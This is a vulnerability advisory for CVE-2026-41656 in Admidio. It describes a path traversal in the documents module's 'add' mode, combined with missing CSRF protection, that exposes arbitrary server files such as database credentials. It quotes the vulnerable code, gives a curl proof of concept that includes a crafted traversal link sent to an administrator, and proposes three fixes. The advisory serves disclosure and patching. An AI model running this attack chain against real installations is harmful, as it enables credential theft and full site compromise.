CVE-2026-41656 — admidio/admidio

Summary

The add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker.

Details

Root cause — incorrect input validation type (modules/documents-files.php:222):

case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

The 'string' type in admFuncVariableIsValid() only applies SecurityUtils::encodeHTML(StringUtils::strStripTags($value)) (system/bootstrap/function.php:414-416). Since ../ contains no HTML special characters (<, >, &, ", '), path traversal sequences pass through unchanged.

The correct type would be 'file', which calls StringUtils::strIsValidFileName() (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks basename($filename) !== $filename at line 228, which would reject any path containing directory separators.

Missing CSRF protection (modules/documents-files.php:221-238):

case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

No SecurityUtils::validateCsrfToken() or form object validation. Compare with folder_delete (line 140) and file_delete (line 170) which both validate CSRF tokens. The add action operates entirely via GET parameters.

Unsafe path construction (src/Documents/Entity/Folder.php:121-135):

public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
    // ...
    if (is_file($newObjectPath)) {
        $newFile = new File($this->db);
        $newFile->setValue('fil_fol_id', $folderId);
        $newFile->setValue('fil_name', $newFolderFileName);  // traversal stored in DB
        // ...
        $newFile->save();
    }
}

No realpath() comparison or basename() check. The traversal filename (e.g., ../../../install/config.php) is stored verbatim as fil_name in the database.

File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):

// File.php:88-91
public function getFullFilePath(): string
{
    return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database');
}

// DocumentsService.php:75-118
$completePath = $file->getFullFilePath();  // reconstructs traversal path
// ...
readfile($completePath);  // serves arbitrary file

SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):

'samesite' => 'lax'

Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector.

PoC

Prerequisites: Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered.

# Step 1: As regular user, browse the documents module to obtain a public folder UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'
# Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000"

# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)
# For a folder at adm_my_files/documents/Photos/, use three levels:
PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'

# Step 3: Send this link to a documents administrator (email, chat, etc.)
# When the admin clicks it, the server's install/config.php is registered in the Photos folder
# The admin sees a redirect back to the documents page (normal behavior)

# Step 4: As attacker, list the folder to find the new file entry
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'
# The traversal file appears in the listing with its file_uuid

# Step 5: Download the file using its UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>'
# Response contains the contents of install/config.php, including:
# $g_adm_srv  (database host)
# $g_adm_usr  (database username)
# $g_adm_pw   (database password)
# $g_adm_db   (database name)

Impact

• Arbitrary server file read: An attacker can read any file on the server that the web server process has read access to, including install/config.php (database credentials), /etc/passwd, application source code, and other configuration files.
• Database credential exposure: The primary target install/config.php contains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation.
• Low attack complexity: The CSRF vector requires only that an admin clicks a single link — no JavaScript, no form submission, no special browser behavior.

Recommended Fix

Fix 1 — Use 'file' validation type for the name parameter (modules/documents-files.php:222):

// Before (vulnerable):
$getName = admFuncVariableIsValid($_GET, 'name', 'string');

// After (fixed):
$getName = admFuncVariableIsValid($_GET, 'name', 'file');

This invokes StringUtils::strIsValidFileName() which checks basename($filename) !== $filename and rejects any path containing directory traversal.

Fix 2 — Add CSRF protection to the add mode (modules/documents-files.php:221-238):

Change the add action from GET to POST and add CSRF token validation:

case 'add':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $getName = admFuncVariableIsValid($_POST, 'name', 'file');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

Fix 3 (defense in depth) — Add path canonicalization in addFolderOrFileToDatabase() (src/Documents/Entity/Folder.php):

public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;

    // Ensure the resolved path is within the folder directory
    $realPath = realpath($newObjectPath);
    $folderPath = realpath($this->getFullFolderPath());
    if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {
        throw new Exception('SYS_FILENAME_INVALID');
    }
    // ... rest of method
}

All three fixes should be applied for defense in depth.